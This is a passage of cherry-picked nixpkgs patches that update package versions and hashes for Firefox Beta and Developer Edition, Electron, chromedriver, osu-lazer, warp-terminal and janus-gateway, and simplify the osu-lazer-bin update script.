Date: Thu, 10 Jul 2025 12:56:28 +0000
Subject: [PATCH 2263/4511] janus-gateway: 1.3.1 -> 1.3.2

(cherry picked from commit 15c719bc1edb1e1e49a2d16b0a7f0cc38f26caa4)
---
 pkgs/by-name/ja/janus-gateway/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ja/janus-gateway/package.nix b/pkgs/by-name/ja/janus-gateway/package.nix
index fe9f92b04d68..d583bd422783 100644
--- a/pkgs/by-name/ja/janus-gateway/package.nix
+++ b/pkgs/by-name/ja/janus-gateway/package.nix
@@ -34,13 +34,13 @@ in
 
 stdenv.mkDerivation rec {
   pname = "janus-gateway";
-  version = "1.3.1";
+  version = "1.3.2";
 
   src = fetchFromGitHub {
     owner = "meetecho";
     repo = "janus-gateway";
     rev = "v${version}";
-    sha256 = "sha256-Y4MdbB706aziKPxM9y/3uCKpc60dMDlV0xgugDjfa7A=";
+    sha256 = "sha256-FvTNe2lpDBchhVLTD+fKtwTcuqsuSEeNWcRAbLibLbc=";
   };
 
   nativeBuildInputs = [

From 9d17eff213aa869831969530450f49bb195ae6c4 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 10 Jul 2025 18:28:00 +0000
Subject: [PATCH 2264/4511] firefox-beta-unwrapped: 141.0b5 -> 141.0b8

(cherry picked from commit 2c492317f8615ea41c6ce691b353f4f517be9c40)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index aa891ae96ece..5b8e791ec555 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "141.0b5";
+  version = "141.0b8";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "1b77e890ea06e0ea468fc65a3f19e9b3e5c9881aa64bf4276911a1fe7d1c1c887e3a59be4a54bce8f29b705a09c2ada723d189cbead107a80cfa4dd48fa7fab9";
+    sha512 = "6727f7543a6a00e557c282f9a94663bb789eba90ca261725f56277a3eff65bd26b28285618ca5949df1c9254d2f03bbc517b681d6a156b363476542af4c7f913";
   };
 
   meta = {

From 13e69609123ef729eb144f32f7203222318e734c Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 10 Jul 2025 18:28:26 +0000
Subject: [PATCH 2265/4511] firefox-devedition-unwrapped: 141.0b5 -> 141.0b8

(cherry picked from commit fc2f37bf5f953787b4fe8d712c48d7e2fc40222f)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 6b6b5ec013b6..6f323f4822b9 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "141.0b5";
+  version = "141.0b8";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "0bb3da49a048eec25a97de40a1446aab3e737c927d339f1da5025751758d40a518b5c934ff295d8294e98a4f67b7ca9a1e10b3813746048a02d244916220962c";
+    sha512 = "b64e483eb1ad1c3bf9b60d59b9fbd99f32eb1689f8b15cde0b08fde4e1fe68481e2f128ff450b1c4922029c328b493d2a2a21434ae7479a744ecb067fc376476";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From ec69d1e86ababde0c366e758f50c8c587e2eb00b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 10 Jul 2025 23:51:50 +0000
Subject: [PATCH 2266/4511] warp-terminal: 0.2025.07.02.08.36.stable_02 ->
 0.2025.07.09.08.11.stable_01

(cherry picked from commit 1827c0ecaace5ff03e0443d3bdaaf65018eee630)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 9d5c6464ea98..69be747e2ba6 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-YXZbYooBqn3jGoWd+pvPs95Oq6V9sjEA2IC7dEsj2hs=",
-    "version": "0.2025.07.02.08.36.stable_02"
+    "hash": "sha256-nRI0xtLFyFqqNCZjIH07Dxut4OdZMO3KHHyPeNT3XKo=",
+    "version": "0.2025.07.09.08.11.stable_01"
   },
   "linux_x86_64": {
-    "hash": "sha256-CXCCJhR6Re423ZxWTheh0qus7sh7EqsSHz2x0Tz0t1E=",
-    "version": "0.2025.07.02.08.36.stable_02"
+    "hash": "sha256-zk3yHo3aimdmgA9bxbQrrZXXWYzNjJRB619PB/MRIG4=",
+    "version": "0.2025.07.09.08.11.stable_01"
   },
   "linux_aarch64": {
-    "hash": "sha256-uaOTKWuufzfu9T8DW86Nur9QSRIcnNYCCahCrEEDPpg=",
-    "version": "0.2025.07.02.08.36.stable_02"
+    "hash": "sha256-b208xahTJ0e0wABB2m2M7x6CAyHKr/7uHMF/cY4LVfM=",
+    "version": "0.2025.07.09.08.11.stable_01"
   }
 }

From 8c2c536ad58a81935a7d4ac82366cd1f864b5727 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Thu, 19 Jun 2025 03:06:07 +0200
Subject: [PATCH 2267/4511] osu-lazer-bin: fix update script

(cherry picked from commit a468be49a81c2b16d122c15160ff94e20003b51c)
---
 pkgs/by-name/os/osu-lazer-bin/update.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/os/osu-lazer-bin/update.sh b/pkgs/by-name/os/osu-lazer-bin/update.sh
index 0b06950762b5..30a1fb9bfe35 100755
--- a/pkgs/by-name/os/osu-lazer-bin/update.sh
+++ b/pkgs/by-name/os/osu-lazer-bin/update.sh
@@ -5,7 +5,7 @@ cd "$(dirname "${BASH_SOURCE[0]}")"
 
 bin_file="$(realpath ./package.nix)"
 
-new_version="$(curl -s "https://api.github.com/repos/ppy/osu/releases?per_page=1" | jq -r '.[0].name')"
+new_version="$(curl -s "https://api.github.com/repos/ppy/osu/releases/latest" | jq -r '.name')"
 old_version="$(sed -nE 's/\s*version = "(.*)".*/\1/p' ./package.nix)"
 if [[ "$new_version" == "$old_version" ]]; then
     echo "Already up to date."

From d42c0ceb44d843ae0a0aa508086015a518222742 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 10 Jul 2025 19:18:06 +0200
Subject: [PATCH 2268/4511] osu-lazer: 2025.607.0 -> 2025.710.0

(cherry picked from commit 11f7489365a7cab51c7b367c6c40b28d23c830e1)
---
 pkgs/by-name/os/osu-lazer/deps.json   | 30 +++++++++------------------
 pkgs/by-name/os/osu-lazer/package.nix | 12 +++++++----
 2 files changed, 18 insertions(+), 24 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer/deps.json b/pkgs/by-name/os/osu-lazer/deps.json
index b78a98c0bd35..b4ff6e7dc0cc 100644
--- a/pkgs/by-name/os/osu-lazer/deps.json
+++ b/pkgs/by-name/os/osu-lazer/deps.json
@@ -434,11 +434,6 @@
     "version": "6.0.0-rc.1.21451.13",
     "hash": "sha256-oTYhI+lMwaQ7l9CfDHeNMBAdfofv4kHC0vqBZ7oJr4U="
   },
-  {
-    "pname": "Microsoft.Extensions.DependencyInjection.Abstractions",
-    "version": "8.0.0",
-    "hash": "sha256-75KzEGWjbRELczJpCiJub+ltNUMMbz5A/1KQU+5dgP8="
-  },
   {
     "pname": "Microsoft.Extensions.DependencyInjection.Abstractions",
     "version": "9.0.2",
@@ -459,11 +454,6 @@
     "version": "9.0.2",
     "hash": "sha256-vPCb4ZoiwZUSGJIOhYiLwcZLnsd0ZZhny6KQkT88nI0="
   },
-  {
-    "pname": "Microsoft.Extensions.Logging.Abstractions",
-    "version": "8.0.0",
-    "hash": "sha256-Jmddjeg8U5S+iBTwRlVAVLeIHxc4yrrNgqVMOB7EjM4="
-  },
   {
     "pname": "Microsoft.Extensions.Logging.Abstractions",
     "version": "9.0.2",
@@ -581,8 +571,8 @@
   },
   {
     "pname": "NuGet.Versioning",
-    "version": "6.12.1",
-    "hash": "sha256-f/ejCuzCAwKs4N4Ec6yf2RovrhBT0nj0hRDP+03/Iy4="
+    "version": "6.14.0",
+    "hash": "sha256-DqdOJgsphKxSvqB8b60zNPCaiLfbiu3WnUJ/90feLrY="
   },
   {
     "pname": "NUnit",
@@ -651,8 +641,8 @@
   },
   {
     "pname": "ppy.osu.Framework",
-    "version": "2025.604.1",
-    "hash": "sha256-TnxNneBVR6YYuaUbU1sHewwVzy15qmCpudSopHol1tM="
+    "version": "2025.710.0",
+    "hash": "sha256-p1AFltuRloCm/krTzGzhI5A89NT5yU2nK6ILwhgzLnc="
   },
   {
     "pname": "ppy.osu.Framework.NativeLibs",
@@ -666,8 +656,8 @@
   },
   {
     "pname": "ppy.osu.Game.Resources",
-    "version": "2025.605.0",
-    "hash": "sha256-t9uNvlimF81LNECTBnhLidSmN8cOXi3Sn0rqI3na3zQ="
+    "version": "2025.708.0",
+    "hash": "sha256-lgGl/jLHMlguuPbQ7MW8uTUk+ZibmMiqtMZnE3xWEr4="
   },
   {
     "pname": "ppy.osuTK.NS20",
@@ -701,8 +691,8 @@
   },
   {
     "pname": "ppy.Veldrid.SPIRV",
-    "version": "1.0.15-gfbb03d21c2",
-    "hash": "sha256-rnl6+U4E3BJVYTWtEjOx7fDVcJJNBP8MOisoGVLT7vA="
+    "version": "1.0.15-gb66ebf81d2",
+    "hash": "sha256-+0dUQTBEU0pPjRhZXvBkWTUpmMFfM9E6FWWT6yHS/9I="
   },
   {
     "pname": "ppy.Vk",
@@ -1616,8 +1606,8 @@
   },
   {
     "pname": "Velopack",
-    "version": "0.0.1053",
-    "hash": "sha256-YAOvvHDyazxqxQoZ7rDB3szkYnTq/zrzS9mXnpI+2jI="
+    "version": "0.0.1298",
+    "hash": "sha256-oaejrsFMKymGY8/irvB1LEQdIe8NYtZbc+/RWUaL4hk="
   },
   {
     "pname": "Vortice.D3DCompiler",
diff --git a/pkgs/by-name/os/osu-lazer/package.nix b/pkgs/by-name/os/osu-lazer/package.nix
index 057b16df671e..a8730b51341e 100644
--- a/pkgs/by-name/os/osu-lazer/package.nix
+++ b/pkgs/by-name/os/osu-lazer/package.nix
@@ -22,13 +22,13 @@
 
 buildDotnetModule rec {
   pname = "osu-lazer";
-  version = "2025.607.0";
+  version = "2025.710.0";
 
   src = fetchFromGitHub {
     owner = "ppy";
     repo = "osu";
-    tag = version;
-    hash = "sha256-qAKtINbWbC76a4vhEFIE6WnEtn/0brcIPp5WXBGQoEI=";
+    tag = "${version}-lazer";
+    hash = "sha256-etIf0ZE1YHZntBQGciFlP1ARgWSTqytJIklAy77+q+Q=";
   };
 
   projectFile = "osu.Desktop/osu.Desktop.csproj";
@@ -95,7 +95,11 @@ buildDotnetModule rec {
     })
   ];
 
-  passthru.updateScript = nix-update-script { };
+  passthru.updateScript = nix-update-script {
+    extraArgs = [
+      "--version-regex=(.*)-lazer"
+    ];
+  };
 
   meta = {
     description = "Rhythm is just a *click* away (no score submission or multiplayer, see osu-lazer-bin)";

From d32ae362f2542480fce52782d92a28a88acc063a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 10 Jul 2025 19:27:29 +0200
Subject: [PATCH 2269/4511] osu-lazer-bin: 2025.607.0 -> 2025.710.0

(cherry picked from commit 9a44598bc0d29369e67adad3ffbd2f86c30fdbfd)
---
 pkgs/by-name/os/osu-lazer-bin/package.nix | 14 +++++++-------
 pkgs/by-name/os/osu-lazer-bin/update.sh   |  5 +++--
 2 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer-bin/package.nix b/pkgs/by-name/os/osu-lazer-bin/package.nix
index 8de4bd8475d9..2100e96923b1 100644
--- a/pkgs/by-name/os/osu-lazer-bin/package.nix
+++ b/pkgs/by-name/os/osu-lazer-bin/package.nix
@@ -10,23 +10,23 @@
 
 let
   pname = "osu-lazer-bin";
-  version = "2025.607.0";
+  version = "2025.710.0";
 
   src =
     {
       aarch64-darwin = fetchzip {
-        url = "https://github.com/ppy/osu/releases/download/${version}/osu.app.Apple.Silicon.zip";
-        hash = "sha256-rfWP6vF68mE+pnKvJjSgkxzTBj3sWDRlB9NZZkPOYOE=";
+        url = "https://github.com/ppy/osu/releases/download/${version}-lazer/osu.app.Apple.Silicon.zip";
+        hash = "sha256-Wg/HlnVjEV7rSTRTzYxP4w41PDVq+vPRT/+MArpK6+U=";
         stripRoot = false;
       };
       x86_64-darwin = fetchzip {
-        url = "https://github.com/ppy/osu/releases/download/${version}/osu.app.Intel.zip";
-        hash = "sha256-FpMugHVyhpyzCRp+EH/RSQDsgoUEQrAuIVCaMTucz88=";
+        url = "https://github.com/ppy/osu/releases/download/${version}-lazer/osu.app.Intel.zip";
+        hash = "sha256-aHlcjubkai5B9k49ptjR3RImkbqHpvyfgueMPZNDmmM=";
         stripRoot = false;
       };
       x86_64-linux = fetchurl {
-        url = "https://github.com/ppy/osu/releases/download/${version}/osu.AppImage";
-        hash = "sha256-jG3KedllnVNd5TLSkKYae2V8CzN90g5lJhT4EKI+nuk=";
+        url = "https://github.com/ppy/osu/releases/download/${version}-lazer/osu.AppImage";
+        hash = "sha256-Tfm75+jkSAqyNBkN3cVrx3hyw+Ai3lKa6ZIo47x2Rns=";
       };
     }
     .${stdenvNoCC.system} or (throw "osu-lazer-bin: ${stdenvNoCC.system} is unsupported.");
diff --git a/pkgs/by-name/os/osu-lazer-bin/update.sh b/pkgs/by-name/os/osu-lazer-bin/update.sh
index 30a1fb9bfe35..f7143e066169 100755
--- a/pkgs/by-name/os/osu-lazer-bin/update.sh
+++ b/pkgs/by-name/os/osu-lazer-bin/update.sh
@@ -5,7 +5,8 @@ cd "$(dirname "${BASH_SOURCE[0]}")"
 
 bin_file="$(realpath ./package.nix)"
 
-new_version="$(curl -s "https://api.github.com/repos/ppy/osu/releases/latest" | jq -r '.name')"
+new_tag_name="$(curl -s "https://api.github.com/repos/ppy/osu/releases/latest" | jq -r '.name')"
+new_version="${new_tag_name%-lazer}"
 old_version="$(sed -nE 's/\s*version = "(.*)".*/\1/p' ./package.nix)"
 if [[ "$new_version" == "$old_version" ]]; then
     echo "Already up to date."
@@ -24,7 +25,7 @@ for pair in \
     'x86_64-linux osu.AppImage'; do
     set -- $pair
     echo "Prefetching binary for $1..."
-    prefetch_output=$(nix --extra-experimental-features nix-command store prefetch-file --json --hash-type sha256 "https://github.com/ppy/osu/releases/download/$new_version/$2")
+    prefetch_output=$(nix --extra-experimental-features nix-command store prefetch-file --json --hash-type sha256 "https://github.com/ppy/osu/releases/download/$new_tag_name/$2")
     if [[ "$1" == *"darwin"* ]]; then
         store_path=$(jq -r '.storePath' <<<"$prefetch_output")
         tmpdir=$(mktemp -d)

From bd6d4cb4c46662fe394e0687b846e35eb57654a9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 10 Jul 2025 20:18:26 +0200
Subject: [PATCH 2270/4511] osu-lazer-bin: simplify update script

(cherry picked from commit 39d0ad977c50ffc95df9f46fcd2c9ec21409e7e2)
---
 pkgs/by-name/os/osu-lazer-bin/update.sh | 20 +++++++-------------
 1 file changed, 7 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer-bin/update.sh b/pkgs/by-name/os/osu-lazer-bin/update.sh
index f7143e066169..19508b7825e9 100755
--- a/pkgs/by-name/os/osu-lazer-bin/update.sh
+++ b/pkgs/by-name/os/osu-lazer-bin/update.sh
@@ -1,28 +1,23 @@
 #!/usr/bin/env nix-shell
-#!nix-shell -I nixpkgs=./. -i bash -p unzip curl jq common-updater-scripts
-set -eo pipefail
-cd "$(dirname "${BASH_SOURCE[0]}")"
-
-bin_file="$(realpath ./package.nix)"
+#!nix-shell -I nixpkgs=./. --pure -i bash -p bash cacert curl jq nix unzip common-updater-scripts
+set -euo pipefail
 
 new_tag_name="$(curl -s "https://api.github.com/repos/ppy/osu/releases/latest" | jq -r '.name')"
 new_version="${new_tag_name%-lazer}"
-old_version="$(sed -nE 's/\s*version = "(.*)".*/\1/p' ./package.nix)"
+old_version="$(nix eval --raw -f . osu-lazer-bin.version)"
+
 if [[ "$new_version" == "$old_version" ]]; then
     echo "Already up to date."
     exit 0
 fi
 
-cd ../../../..
-
 echo "Updating osu-lazer-bin from $old_version to $new_version..."
-sed -Ei.bak '/ *version = "/s/".+"/"'"$new_version"'"/' "$bin_file"
-rm "$bin_file.bak"
 
 for pair in \
     'aarch64-darwin osu.app.Apple.Silicon.zip' \
     'x86_64-darwin osu.app.Intel.zip' \
-    'x86_64-linux osu.AppImage'; do
+    'x86_64-linux osu.AppImage'
+do
     set -- $pair
     echo "Prefetching binary for $1..."
     prefetch_output=$(nix --extra-experimental-features nix-command store prefetch-file --json --hash-type sha256 "https://github.com/ppy/osu/releases/download/$new_tag_name/$2")
@@ -36,6 +31,5 @@ for pair in \
         hash=$(jq -r '.hash' <<<"$prefetch_output")
     fi
     echo "$1 ($2): hash = $hash"
-    sed -Ei.bak '/ *'"$1"' = /{N;N; s@("sha256-)[^;"]+@"'"$hash"'@}' "$bin_file"
-    rm "$bin_file.bak"
+    update-source-version osu-lazer-bin "$new_version" "$hash" --system="$1" --ignore-same-version
 done

From 7c53ffaeca6a7cdba224d7060b464a8a821949c7 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 14:10:45 +0200
Subject: [PATCH 2271/4511] electron_35-bin: 35.6.0 -> 35.7.0

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.6.0...v35.7.0

(cherry picked from commit 6feb1baf70c18c707669c4234174950ee4831abf)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 65989393576a..8dafd9c096d8 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "ddf4f0838d92f604361eabea5cefc3557276e2ae3a9cff113c2bfc6b9204a114",
-            "aarch64-linux": "c3fc5a70de2e97679fd7124ebb57a7c16c465d76a00832b66a545a444eb8e9be",
-            "armv7l-linux": "9b68c777af440e0ce4fc0f0dad244cd076586c6110dffde5823c88393bacc4df",
-            "headers": "00r5swhxsv7bj8k35ymmprp1mvz337f066jhh1xsh437b1abvscp",
-            "x86_64-darwin": "93bae50a81f476b07d6bc0d652bd21ec592e61135047b2e4e69c5e931c67459d",
-            "x86_64-linux": "94f3987a46b7cc39f16dc3428e304dd0dee679f3266fbea85ccfeb3daabb2c45"
+            "aarch64-darwin": "5256f192ca519431a3e860213b0693d61e94aa45795824b63906b22a351bc946",
+            "aarch64-linux": "361a28f6786c6864abf2d5e3f78252bf894166d2374dae0e8136cea671cf7f81",
+            "armv7l-linux": "96358f42b232cb595db91a6d32f04539153b54a3867ac2db37e7c0d42ff4829a",
+            "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
+            "x86_64-darwin": "d03f88f68e62dc377ee06aae1dd4d8a22046df7a13450de5d88572ed32e413df",
+            "x86_64-linux": "8c667169cf7e85463677b44d96ec795ab05974a1f3224ad020542580d65c66a5"
         },
-        "version": "35.6.0"
+        "version": "35.7.0"
     },
     "36": {
         "hashes": {

From 75b69bb63e86acd644838633479586416f4c861a Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 14:10:48 +0200
Subject: [PATCH 2272/4511] electron-chromedriver_35: 35.6.0 -> 35.7.0

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.6.0...v35.7.0

(cherry picked from commit cf6768a0ffbe68aba52db1bf98678cb0175ac8c4)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index e6536e6699fd..e30050cb1cd8 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "8ba99bae583c627ea97abeecb8326513e0795bc348dbf316839cdc0959815d4d",
-            "aarch64-linux": "3ebe02af15986baaefee678a23bd65928d6a7a9d8b5c5a7477ffac3492d64fe7",
-            "armv7l-linux": "9e7fd420e22b6755f08f0b6a028db1375eacf6f792cf8b5bf972fe06631b9617",
-            "headers": "00r5swhxsv7bj8k35ymmprp1mvz337f066jhh1xsh437b1abvscp",
-            "x86_64-darwin": "e2fb710c6ede2f56d985e130cdbcc9b25cb1747e7d4cd7149c97c5a445aac0b4",
-            "x86_64-linux": "59fdcbd69c17d73ea8736f77ab5c060e183704a54c60ff27dc7f7fd6d8ae362e"
+            "aarch64-darwin": "02f0b20ae36f97eb6a885ea9e70fce75a4a2cdb2f45cf2ecfa3d0413080b50d0",
+            "aarch64-linux": "fdd9185202404eea5975430545b5d7ee158d8f805f143ef877437248cb8b6b49",
+            "armv7l-linux": "874f3ce99e545e5cefc3f5570c415e7458cc75b8e0b4de4719c123398c79f51b",
+            "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
+            "x86_64-darwin": "7a3c8c8153f3aaa755bbe91c8dd6b542897efa6d7baf1cfbdde4ae6a6a0dd883",
+            "x86_64-linux": "8751624fd3edfc407d0e149dedbc57c614b396b46e0fa45123398e992d1762b5"
         },
-        "version": "35.6.0"
+        "version": "35.7.0"
     },
     "36": {
         "hashes": {

From 8ace1201d2ba6174e5df5787bfe4966fd06ad07b Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 14:10:53 +0200
Subject: [PATCH 2273/4511] electron_36-bin: 36.6.0 -> 36.7.0

- Changelog: https://github.com/electron/electron/releases/tag/v36.7.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.6.0...v36.7.0

(cherry picked from commit 60a10c1b7e076bf420bab482fcd11226c2430a32)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 8dafd9c096d8..9ed1ef6e0435 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -34,14 +34,14 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "3fd20b4aa0bf3eee25235ee114b1fbf7dd124b888f4c0ce5ee3592f147abd42d",
-            "aarch64-linux": "f789ec88675bfbede2a661eee656a083bc585232792db9e925d017c33d9dc3ec",
-            "armv7l-linux": "9c9731c68227a3e4a634cd352802146081233e9129f39ea655c8b851a23e8fbf",
-            "headers": "1glxjnwmah7m51nw9pcf0mjnx19bjybxkcda233dfhyrxf2i8zsq",
-            "x86_64-darwin": "edbe907582e1e2a13d219dc3161f92db9867e452814894cc3b3c837679a3d827",
-            "x86_64-linux": "6a0decb3e382f32d4ab3db90aabd082ef9ee1154fe205808f887e228fdb2d355"
+            "aarch64-darwin": "d3e4be92999e5a5b4c1eaa939c61a4188706adde28f6622f08b84a1ff782be80",
+            "aarch64-linux": "35b764c85e900d3fd70c94cea13c7be64215c0b707c1e3f948497382e10936d1",
+            "armv7l-linux": "df7c8556cd328722db511447380882b97eb8ad847aecc678c655b79e0676c7d7",
+            "headers": "09808hmprjpm33h5lx739i1yllwqy89n62ycaxrh6w42sncb2gm9",
+            "x86_64-darwin": "2779642d9786c5841d6d0e9d44772db5f1abed5814eb14bcaf6d4cd8b3780687",
+            "x86_64-linux": "9d61a0299667661379e3808b57ced771860df17462ef59c7e7868dfe34c33890"
         },
-        "version": "36.6.0"
+        "version": "36.7.0"
     },
     "37": {
         "hashes": {

From dace6a7b5ccaa83aa239d8931f720010a37ccdf1 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 14:10:55 +0200
Subject: [PATCH 2274/4511] electron-chromedriver_36: 36.6.0 -> 36.7.0

- Changelog: https://github.com/electron/electron/releases/tag/v36.7.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.6.0...v36.7.0

(cherry picked from commit 376eed2fef246cdfb02d79e9b16327ad9f201368)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index e30050cb1cd8..0fcfc045c893 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -34,14 +34,14 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "5042087ef83d34433d751360cdc7f9a02cbc839c3008a781048624ceaede4ce1",
-            "aarch64-linux": "2a1386a4c5d0f5c01c2d1880378bfb26b5b972e3349f04205aeec0c17baa4d15",
-            "armv7l-linux": "f66b00fa540094d687f2f3f05115d563289353f8d997b88a8605a509ea48cc33",
-            "headers": "1glxjnwmah7m51nw9pcf0mjnx19bjybxkcda233dfhyrxf2i8zsq",
-            "x86_64-darwin": "6cdd32f63a5b41ad653316e622655686f17ab26e4bf291beefc18705d504b98d",
-            "x86_64-linux": "859c853712a4addb77d4fb1019e27063ef8825004bb93219e991cf5b4103ccb8"
+            "aarch64-darwin": "de19859e616f606924864ab2b5d32bd0149556f2a2de05524d488a63e980f27c",
+            "aarch64-linux": "b49adbe5fd890cff44d478a459b9577807211cb56cc7054432a2369770fd0559",
+            "armv7l-linux": "36df8c199859afbafdad321d82acd6376030f185803d23414adb9cb3650194aa",
+            "headers": "09808hmprjpm33h5lx739i1yllwqy89n62ycaxrh6w42sncb2gm9",
+            "x86_64-darwin": "0ae6e46fd5d62691224684581d0803b987de89cd28253971062bc84d8715fc2e",
+            "x86_64-linux": "2abaa69b486ab17a960fea8432bd82d55a77a759dbc43702d0363dd209b0c807"
         },
-        "version": "36.6.0"
+        "version": "36.7.0"
     },
     "37": {
         "hashes": {

From e59e9d1963db935ff343700ab9f4902376e3a4d7 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 14:11:00 +0200
Subject: [PATCH 2275/4511] electron_37-bin: 37.1.0 -> 37.2.0

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.1.0...v37.2.0

(cherry picked from commit d04457483b303b55cc993f64735e692475121b46)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 9ed1ef6e0435..70c437b34b82 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "31c57a288b262d17751e6bb6f3862bfaaa7eb2f0a5dfb17965013538d2ceeeb1",
-            "aarch64-linux": "0aca9ed706f48e1b13c14d9379473c617d906bae8a4ee3a7cc1699ad8feea79b",
-            "armv7l-linux": "88d33b77debc1d7c189350b9ba411bced78328dca86d4d7e805c4322502fc254",
-            "headers": "0wizghk8sbggxjcxyxga20021by5b6a4vdr92nkmaadpishs1ylh",
-            "x86_64-darwin": "78e3c798b65d1e740e92bc2acac56b43aadf803be9fc3de799fd40407548dd83",
-            "x86_64-linux": "c03c227b2ac340e4a4093b7157e3290581bccf798bc3e0a40b280b0083453299"
+            "aarch64-darwin": "4e43432b53a118635048408851130a7065b3cfb193382c0cd755c9f56b2dbf06",
+            "aarch64-linux": "560084caf6c41a9e717c09a83398dec4245726812fb93c2c38f8dc4fb92750cf",
+            "armv7l-linux": "a2a132f8f66486bdc54a8f0b482ed9bb294d6cceea06b5821eaf0b18c8d6f898",
